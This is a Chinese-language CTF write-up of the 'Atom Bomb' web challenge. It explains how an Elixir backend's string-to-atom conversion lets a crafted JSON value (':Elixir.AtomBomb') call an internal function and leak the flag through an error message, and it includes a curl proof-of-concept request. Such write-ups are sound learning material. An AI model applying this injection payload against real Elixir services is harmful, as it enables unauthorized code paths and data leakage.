利用Elixir中的原子特性 + 错误消息泄露 -- Atom Bomb

题目信息: This new atom bomb early warning system is quite strange…

题目使用 elixir 语言

一开始,我们会访问 /page.html

<!DOCTYPE html>
<!-- 设定文档语言为英语 -->
<html lang="en">
<head><!-- 设定字符编码为UTF-8 --><meta charset="UTF-8"><!-- 适配不同屏幕尺寸 --><meta name="viewport" content="width=device-width, initial-scale=1.0"><!-- 网页标题 --><title>Atom Bomb Alert System</title><style>body {/* 设置字体为Arial,若不可用则使用无衬线字体 */font-family: Arial, sans-serif;/* 深灰色背景 */background-color: #1a1a1a; /* 浅灰色文字 */color: #e0e0e0; /* 外边距为0 */margin: 0;/* 内边距为20px */padding: 20px;/* 使用弹性布局 */display: flex;/* 垂直排列子元素 */flex-direction: column;/* 水平居中内容 */align-items: center; }button {/* 红色背景 */background-color: #d9534f; /* 白色文字 */color: white;/* 无边框 */border: none;/* 内边距 */padding: 10px 20px;/* 圆角边框 */border-radius: 5px;/* 字体大小 */font-size: 16px;/* 鼠标悬停时显示手型光标 */cursor: pointer;/* 按钮下方间距 */margin-bottom: 20px; /* 背景颜色过渡效果 */transition: background-color 0.3s; }button:hover {/* 鼠标悬停时更深的红色 */background-color: #c9302c; }div {/* 宽度占容器的100% */width: 100%; /* 最大宽度为400px */max-width: 400px; /* 元素下方间距 */margin-bottom: 20px; /* 更深的卡片背景色 */background-color: #2a2a2a; /* 内边距 */padding: 15px;/* 深色边框 */border: 1px solid #444; /* 圆角边框 */border-radius: 5px;/* 深色阴影 */box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3); }h2 {/* 红色标题,强调紧急性 */color: #d9534f; /* 标题居中 */text-align: center;}h6 {/* 浅灰色副标题 */color: #bbb; /* 上方间距 */margin-top: 20px;/* 下方间距 */margin-bottom: 5px;}p {/* 段落深色背景 */background-color: #333; /* 段落深色边框 */border: 1px solid #555; /* 段落内边距 */padding: 10px;/* 段落圆角边框 */border-radius: 5px;/* 段落外边距 */margin: 5px 0 20px 0;}img {/* 图片最大宽度为容器的100% */max-width: 100%;/* 图片高度自适应 */height: auto;/* 图片深色边框 */border: 1px solid #444; /* 图片圆角边框 */border-radius: 5px;}#danger {/* 字体加粗 */font-weight: bold;/* 字体大小为1.2倍 */font-size: 1.2em;/* 红色文字 */color: #d9534f; /* 文字居中 */text-align: center;}/* 当屏幕宽度小于等于600px时的样式 */@media (max-width: 600px) {body {/* 减小内边距 */padding: 10px;}button {/* 按钮宽度占满容器 */width: 100%;}}</style>
</head>
<body><!-- 主标题 --><h2>Welcome to Atom Bomb Alert System</h2><!-- 点击按钮触发检查炸弹警报的函数 --><button onclick="check_alert()">Check for bomb alert</button><div><!-- 炸弹详情标题 --><h2>Bomb Details</h2><!-- 炸弹位置副标题 --><h6>Bomb Location</h6><!-- 用于显示炸弹位置的段落 --><p id="location"></p><!-- 炸弹高度副标题 --><h6>Bomb Altitude</h6><!-- 用于显示炸弹高度的段落 --><p id="altitude"></p><!-- 炸弹威力副标题 --><h6>Bomb Power</h6><!-- 用于显示炸弹威力的段落 --><p id="power"></p></div><div><!-- 危险评估标题 --><h2>Danger Assessment</h2><!-- 用于显示危险评估信息的段落 --><p id="danger"></p><!-- 用于显示原子炸弹爆炸图片的元素 --><img id="explosion" alt="Atom Bomb Explosion"></div>
</body>
</html><script>
/*** 从服务器获取炸弹信息* @returns {Promise<Object|null>} 包含炸弹信息的对象,如果出错或响应失败则返回null*/
async function get_bomb() {try {// 发送请求获取炸弹信息const responce = await fetch("/atom_bomb");if (responce.ok) {// 若响应成功,解析响应为JSON格式并返回return await responce.json();} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹的危险程度* @param {Object} bomb - 包含炸弹信息的对象* @returns {Promise<string|null>} 危险评估信息,如果出错或响应失败则返回null*/
async function check_bomb_danger(bomb) {// 将高度转换为特定格式(此处代码可能有误,推测是注释错误,原意可能不是转换为原子)bomb.altitude = ":" + bomb.altitude;// 构建请求体payload = {impact: {bomb: bomb}};try {// 发送POST请求检查炸弹危险程度const responce = await fetch("/bomb_impacts", {method: "POST",body: JSON.stringify(payload),headers: {"Content-Type": "application/json",},});if (responce.ok) {// 若响应成功,解析响应并返回危险评估信息return (await responce.json()).message;} else {// 若响应失败,返回nullreturn null;}} catch (error) {// 捕获并打印错误信息console.error(error.message);// 出错时返回nullreturn null;}
}/*** 检查炸弹警报并更新页面信息*/
async function check_alert() {// 获取炸弹信息const bomb = await get_bomb();// 获取用于显示炸弹位置、高度和威力的元素const location = document.getElementById("location");const altitude = document.getElementById("altitude");const power = document.getElementById("power");// 更新页面上的炸弹位置、高度和威力信息location.innerHTML = bomb.location;altitude.innerHTML = bomb.altitude;power.innerHTML = bomb.power;// 获取用于显示爆炸图片的元素const explosion = document.getElementById("explosion");// 更新爆炸图片的源地址explosion.src = `/images/atom${bomb.explosion_type}.png`;// 获取炸弹危险评估信息const message = await check_bomb_danger(bomb);// 获取用于显示危险评估信息的元素const danger = document.getElementById("danger");// 更新页面上的危险评估信息danger.innerHTML = message;
}// 页面加载时自动检查炸弹警报
check_alert();
</script>
// 定义一个名为 AtomBomb.Router 的模块,用于处理路由逻辑
defmodule AtomBomb.Router do// 使用 Phoenix.Router 模块,并禁用助手功能use Phoenix.Router, helpers: false// 导入 Plug.Conn 模块,用于处理连接相关操作import Plug.Conn// 导入 Phoenix.Controller 模块,用于处理控制器相关操作import Phoenix.Controller// 定义一个名为 :browser 的管道,用于处理浏览器请求pipeline :browser do// 配置该管道接受的请求格式为 HTMLplug :accepts, ["html"]// 设置安全的浏览器头信息plug :put_secure_browser_headersend// 定义一个名为 :api 的管道,用于处理 API 请求pipeline :api do// 配置该管道接受的请求格式为 JSONplug :accepts, ["json"]end// 定义一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :browser 管道进行处理pipe_through :browser// 定义一个 GET 请求路由,当访问根路径 "/" 时,调用 PageController 模块的 :home 动作get "/", PageController, :homeend// 定义另一个路由作用域,所有路由路径都以根路径 "/" 开头,控制器命名空间为 AtomBombscope "/", AtomBomb do// 将该作用域下的请求通过 :api 管道进行处理pipe_through :api// 定义一个 GET 请求路由,当访问 "/atom_bomb" 路径时,调用 PageController 模块的 :get_atom_bomb 动作get "/atom_bomb", PageController, :get_atom_bomb// 定义一个 POST 请求路由,当访问 "/bomb_impacts" 路径时,调用 PageController 模块的 :get_bomb_impacts 动作post "/bomb_impacts", PageController, :get_bomb_impactsend
end

似乎只有此处存在输入

POST /bomb_impacts HTTP/2
Host: atom-bomb.atreides.b01lersc.tf
Content-Length: 99
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://atom-bomb.atreides.b01lersc.tf
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://atom-bomb.atreides.b01lersc.tf/page.html
Accept-Encoding: gzip, deflate, br
Priority: u=1, i{"impact":{"bomb":{"location":"idaho","power":1026,"altitude":":low_altitude","explosion_type":7}}}

继续分析其后端逻辑

  // 定义一个名为 get_bomb_impacts 的控制器动作,用于获取炸弹影响信息// conn: 连接结构体,包含请求和响应的相关信息// params: 表示请求参数def get_bomb_impacts(conn, params) do// 调用 AtomBomb.atomizer 函数对请求参数进行处理params = AtomBomb.atomizer(params)// 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并将结果赋值给 danger_message 变量danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)// 渲染名为 :danger_level 的视图模板,并传递危险等级信息作为 :danger_message 参数render(conn, :danger_level, danger_message: danger_message)
  @doc """Converts params to atoms"""# 定义一个函数 atomizer,用于将映射类型的参数中的键转换为原子def atomizer(params) when is_map(params) do# 遍历映射中的每个键值对Enum.map(params, fn {key, val} -> # 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(key) do{:ok, key} -> # 如果转换成功,递归调用 atomizer 处理值,并返回新的键值对{key, atomizer(val)}:error -> # 如果转换失败,返回 nilnilendend)|> Enum.filter(fn val -> val != nil end)|> Map.newend# 定义一个函数 atomizer,用于处理列表类型的参数,递归调用 atomizer 处理列表中的每个元素def atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)end# 定义一个函数 atomizer,用于处理二进制类型的参数def atomizer(params) when is_binary(params) do# 检查字符串是否以 : 开头if String.at(params, 0) == ":" do# convert string to atom if it starts with :# 移除字符串开头的 :atom_string = String.slice(params, 1..-1//1)# 根据 string_to_atom 函数的结果进行模式匹配case string_to_atom(atom_string) do{:ok, val} -> # 如果转换成功,返回原子val:error -> # 如果转换失败,返回 nilnilendelse# 如果不以 : 开头,直接返回原字符串paramsendend# 定义一个函数 atomizer,用于处理其他类型的参数,直接返回原参数# any other value is left as isdef atomizer(params) doparamsend
  @doc """Calculates the danger level of the atom bomb for the given location"""# 定义一个函数 calculate_bomb_danger_level,根据炸弹信息计算炸弹的危险等级def calculate_bomb_danger_level(bomb) do# 根据炸弹的高度确定缩放系数scaling = case bomb.altitude do:underground -> 0.05:surface -> 1.5:low_altitude -> 3.0:high_altitude -> 1.2:space -> 0.03end# 计算炸弹的实际威力power = scaling * bomb.power# 根据实际威力判断危险等级cond dopower < 200.0 -> "there is not much danger"power < 400.0 -> "you might get cancer"power < 800.0 -> "you should hide underground"power < 1300.0 -> "your house will be blown away"true -> "you might be cooked"endend

我们的目标应该是执行此处函数

  # 定义一个函数 bomb,尝试读取 flag.txt 文件的内容,并返回包含炸弹信息的字符串def bomb() do# 尝试读取 flag.txt 文件flag = case File.read("flag.txt") do{:ok, flag} -> # 如果读取成功,返回文件内容flag{:error, _} -> # 如果读取失败,返回默认值"bctf{REDACTED}"end"The atom bomb detonated, and left in the crater there is a chunk of metal inscribed with #{flag}"end

根本搭不起来调试环境进,放弃 -------------------------------------------------------------------------------------------------------------------------------------

赛后

b01lers-ctf-2025-public/src/web/atombomb/solve at main · b01lers/b01lers-ctf-2025-public · GitHub

在 Elixir 中,原子(Atom) 是一种基本数据类型,用于表示固定值,其名称直接作为自身的值。原子是不可变的、常量,且通常用于代码中的标识符、状态标记或模式匹配。

核心特性:

  1. 名称即值
    原子的值就是它的名字,例如 :ok:error:hello。不需要额外的赋值操作。

  2. 常量且高效
    原子在内存中以唯一的形式存储(通过原子表),多次使用同一个原子不会重复占用内存。例如,无论使用多少次 :ok,内存中只有一份。

  3. 语法形式

    • 简单原子:以冒号开头,后接小写字母、数字、下划线或 @,例如 :ok:status_code
    • 带特殊字符的原子:用双引号包裹,例如 :"hello world!":"123@email.com"

常见用途:

  1. 模式匹配与函数返回值

    case File.read("file.txt") do{:ok, content} -> IO.puts("成功读取:#{content}"){:error, reason} -> IO.puts("失败原因:#{reason}")
    end
    

    函数常用 :ok/:error 表示操作结果。

  2. 作为标识符

    用于标识选项或配置,例如:

    String.split("a,b,c", ",", trim: true)
    # `trim: true` 中的 `:trim` 是原子
    
  3. 模块名称
    模块名本质是原子。例如 IO.puts/1 中的 IO 是原子 Elixir.IO 的语法糖:

    :"Elixir.IO".puts("Hello")  # 等同于 IO.puts("Hello")
    

在 Elixir 中,原子可以直接或间接用于调用函数

漏洞的核心逻辑

def atomizer(params) when is_map(params) doEnum.map(params, fn {key, val} -> case string_to_atom(key) do{:ok, key} -> {key, atomizer(val)}:error -> nilendend)|> Enum.filter(fn val -> val != nil end)|> Map.new
enddef atomizer(params) when is_list(params) doEnum.map(params, &atomizer/1)
enddef atomizer(params) when is_binary(params) doif String.at(params, 0) == ":" do# convert string to atom if it starts with :# remove leading :atom_string = String.slice(params, 1..-1//1)case string_to_atom(atom_string) do{:ok, val} -> val:error -> nilendelseparamsend
end# any other value is left as is
def atomizer(params) doparams
end
  1. 服务器如何处理请求

    • 当你发送一个JSON请求到 /bomb_impacts 接口时,服务器会调用 AtomBomb.atomizer 函数处理参数。
    • 这个函数会将参数中的键(key)和以冒号开头的值(value)转换为原子(比如 ":apple":apple)。
  2. 危险的转换

    • 如果你发送一个参数值为 ":Elixir.AtomBomb",它会被转换为原子 :Elixir.AtomBomb
    • 在Elixir中,Module.function() 本质是调用原子 :Elixir.Modulefunction 方法。
    • 所以 params.impact.bomb 会变成调用 :Elixir.AtomBomb.bomb() 函数,而这个函数直接返回了包含flag的字符串!
  3. 触发错误泄露flag

    • 服务器后续代码试图访问 bomb.altitude(认为 bomb 是一个map)。
    • 但实际上 bomb 此时是一个字符串(flag就在这个字符串里),访问不存在的字段会报错。
    • 服务器的错误处理直接把错误信息返回给用户,于是你就能看到flag了!

攻击步骤

  1. 构造一个特殊的JSON

    {"impact": ":Elixir.AtomBomb"}
    
    • 这里的 ":Elixir.AtomBomb" 会被服务器转换为原子 :Elixir.AtomBomb
  2. 发送这个JSON到服务器

    curl -X POST http://localhost:6888/bomb_impacts \-H "Content-Type: application/json" \--data '{"impact": ":Elixir.AtomBomb"}'
    
  3. 服务器处理过程

  # 定义 get_bomb_impacts 函数,处理获取炸弹影响信息的请求def get_bomb_impacts(conn, params) do# 调用 AtomBomb.atomizer 函数处理传入的参数params = AtomBomb.atomizer(params)# 调用 AtomBomb.calculate_bomb_danger_level 函数计算炸弹的危险等级,并获取危险信息danger_message = AtomBomb.calculate_bomb_danger_level(params.impact.bomb)# 渲染 :danger_level 视图并传递危险信息render(conn, :danger_level, danger_message: danger_message)end
  • 参数处理 → 将 impact 转换为 :Elixir.AtomBomb
  • 试图调用 :Elixir.AtomBomb.bomb() → 返回包含flag的字符串
  • 后续代码访问 bomb.altitude 失败 → 报错信息中包含这个字符串
  1. 最终结果
    服务器返回的错误信息中会直接显示:
    "The atom bomb detonated...bctf{n0w_w3_ar3_a1l_d3ad_:(_8cd12c17102ac269}"
    

类比理解

假设有一个自动售货机:

  1. 正常操作:投入硬币 → 选择饮料(比如输入 {"drink": "cola"}
  2. 漏洞利用:输入一个特殊指令 {"drink": ":giveMeMoney"}
  3. 售货机错误地执行了内部函数 :giveMeMoney() → 直接吐钱

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/904602.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Spring MVC设计与实现

DispatcherServlet的初始化与请求处理流程 初始化阶段 Servlet 生命周期触发&#xff1a;当 Web 容器&#xff08;如 Tomcat&#xff09;启动时&#xff0c;根据注解/配置&#xff0c;DispatcherServlet 的 init() 方法被调用。 初始化 WebApplicationContext 根 WebApplicat…

64.微服务保姆教程 (七) RocketMQ--分布式消息中间件

RocketMQ–分布式消息中间件 一、MQ 1、什么是MQ MQ(Message Queue)消息队列,是基础数据结构中“先进先出”的一种数据结构。指把要传输的数据(消息)放在队列中,用队列机制来实现消息传递——生产者产生消息并把消息放入队列,然后由消费者去处理。消费者可以到指定队…

java算法的核心思想及考察的解题思路

一、Java算法的核心思想 1. 分而治之 (Divide and Conquer) 将大问题分解为小问题&#xff0c;递归解决小问题后合并结果 典型应用&#xff1a;归并排序、快速排序、二分查找 2. 动态规划 (Dynamic Programming) 将问题分解为重叠子问题&#xff0c;存储子问题的解避免重复…

linux查java进程CPU高的原因

问题&#xff1a;linux查java进程CPU高的原因 解决&#xff1a;用jdk带的工具分析 被查的java最好也使用jdk启动 systemctl启动的注意要去掉PrivateTmptrue /opt/jdk1.8.0_441/bin/jps -l top -Hp 8156 printf "%x" 8533 /opt/jdk1.8.0_441/bin/jstack 8156 |…

体育培训的实验室管理痛点 质检LIMS如何重构体育检测价值链

在竞技体育与全民健身并行的时代背景下&#xff0c;体育培训机构正面临双重挑战&#xff1a;既要通过科学训练提升学员竞技水平&#xff0c;又需严格把控运动安全风险。作为实验室数字化管理的核心工具&#xff0c;质检LIMS系统凭借其标准化流程管控与智能化数据分析能力&#…

linux下MySql的安装与配置

一键三联&#xff0c;把mysql的安装与配置也写了&#xff0c;供各位参考。 --------------------------------------MySql的安装与配置-------------------------------------- 1 将下载的 压缩包解压到指定目录 tar -zxvf mysql-5.7.26-linux-glibc2.12-x86_64.tar.gz 卸载…

数据库原理与应用实验二 题目七

利用sql建立教材数据库,并定义以下基本表: 学生(学号,年龄,性别,系名) 教材(编号,书名,出版社编号,价格) 订购(学号,书号,数量) 出版社(编号,名称,地址) 1定义主码、外码、和价格、数量的取值范围。 2 在三个表中输入若干记录,注意如果输入违反完整…

什么是 HSQLDB?

大家好&#xff0c;这里是架构资源栈&#xff01;点击上方关注&#xff0c;添加“星标”&#xff0c;一起学习大厂前沿架构&#xff01; Java开发人员学习Java数据库连接&#xff08;JDBC&#xff09;的最简单方法是试验HyperSQL数据库&#xff08;又名HSQLDB&#xff09;。 …

shell脚本--2

1、实时监控cpu、内存的shell脚本 #!/bin/bash# 获取当前时间 DATE$(date "%Y-%m-%d %H:%M:%S")# 获取CPU使用情况 CPU_USAGE$(top -b -n1 | grep "Cpu(s)" | awk {print $2 $4})# 获取内存使用情况 MEMORY_USAGE$(free | grep Mem | awk {print $3/$2 *…

性能比拼: HTTP/2 vs. HTTP/3

本内容是对知名性能评测博主 Anton Putra HTTP/2 vs. HTTP/3 performance benchmark 内容的翻译与整理, 有适当删减, 相关指标和结论以原作为准 在本内容中&#xff0c;我们将比较 HTTP/2 和 HTTP/3 协议。 我们将使用 Terraform 和 Ansible 在 Google Cloud Platform (GCP) …

【Vue】组件自定义事件 TodoList 自定义事件数据传输

目录 一、绑定 二、解绑 组件自定义事件总结 TodoList案例对数据传输事件的修改 总结不易~ 本章节对我有很大收获&#xff0c; 希望对你也是&#xff01;&#xff01;&#xff01; 本章节素材已上传Gitee&#xff1a;yihaohhh/我爱Vue - Gitee.com 前面我们学习的clikc、…

Windows远程连接MySQL报错,本地navicat能连接MySQL

一、报错 telnet 119.87.111.79 3306​​“无法打开到主机的连接。在端口 3306: 连接失败”​​ 表明无法通过 TCP 协议连接到目标服务器的 3306 端口。 二、目的 &#xff08;1&#xff09;​​Telnet 测试的目的​​ Telnet 仅用于测试 ​​TCP 端口是否开放​​&#xff…

电池管理系统BMS三级架构——BMU、BCU和BAU详解

储能电站的电池管理系统&#xff08;BMS&#xff09;通常采用三级架构&#xff1a;从控&#xff08;BMU&#xff09;、主控&#xff08;BCU&#xff09;、总控&#xff08;BAU&#xff09;。这种分层设计实现了电池模组、簇、堆的分级管理和控制&#xff0c;确保系统运行的安全…

C++ 基础复习

基础复习 1.const引用为什么能引用临时对象2.内联函数的额外作用3. nullptr 1.const引用为什么能引用临时对象 临时对象&#xff08;Temporary Object&#xff09;是在表达式求值过程中隐式创建的对象&#xff0c;例如&#xff1a; 函数返回非引用类型的值 类型转换&#xff0…

AI的出现,是否能替代IT从业者?

阐述观点&#xff1a;AI 的出现不会完全替代 IT 从业者&#xff0c;但会深刻改变 IT 行业的工作方式和岗位结构。 AI 不会完全替代 IT 从业者的原因 AI 本身需要人来开发与维护 AI 模型、系统架构、数据管道等都需要 IT 专业人员来构建和优化。 例如&#xff1a;AI 工程师、M…

【服务器通信-socket】——int socket(int domain, int type, int protocol);

#include <sys/types.h> #include <sys/socket.h> int socket(int domain, int type, int protocol); domain: AF_INET 这是大多数用来产生socket的协议&#xff0c;使用TCP或UDP来传输&#xff0c;用IPv4的地址 AF_INET6 与上面类似&#xff0c;不过是来用IPv6的地…

Python基本环境搭配

Python3 环境搭建 | 菜鸟教程 里面有直接跳转 Fitten Code 按下 Tab 键接受所有补全建议&#xff1a; 按下 Ctrl→ 键(mac系统为Command→)接收单个词补全建议&#xff1a; 用户可通过点击左上角工具栏中的Fitten Code – 开始对话或者使用快捷键CtrlAltC(mac系统为Contr…

C++负载均衡远程调用学习之HOOK注册机制

目录 1.larV0.7-hook流程的说明 2.larV0.7-TCP_server集成链接HOOK函数 3.larV0.7-TCP_client集成链接HOOK注册功能 1.larV0.7-hook流程的说明 ### 7.1 数据库表相关查询方法实现 ​ 我们先实现一些基本的数据表达查询方法&#xff1a; > lars_dns/src/dns_rout…

Rust 与 Golang 深度对决:从语法到应用场景的全方位解析

一、引言 在软件开发的快速发展浪潮中&#xff0c;Rust 和 Golang&#xff08;Go 语言&#xff09;脱颖而出&#xff0c;成为开发者热议的编程语言。Rust 凭借强大的内存安全性与卓越的性能备受赞誉&#xff0c;Golang 则以简洁的语法和出色的并发处理能力赢得开发者青睐。本文…

C++负载均衡远程调用学习之订阅功能与发布功能

目录 1.lars-DnsV0.1回顾 2.Lars-DnsV0.2-订阅功能的订阅模块分析 3.Lars-DnsV0.2-订阅模块的类的单例创建及方法属性初始化 4.Lars-DnsV0.2-发布功能的实现 5.Lars-DnsV0.2-发布功能的总结 6.Lars-DnsV0.2-订阅流程复习 7.Lars-DnsV0.2-订阅模块的集成 8.Lars-DnsV0.2订…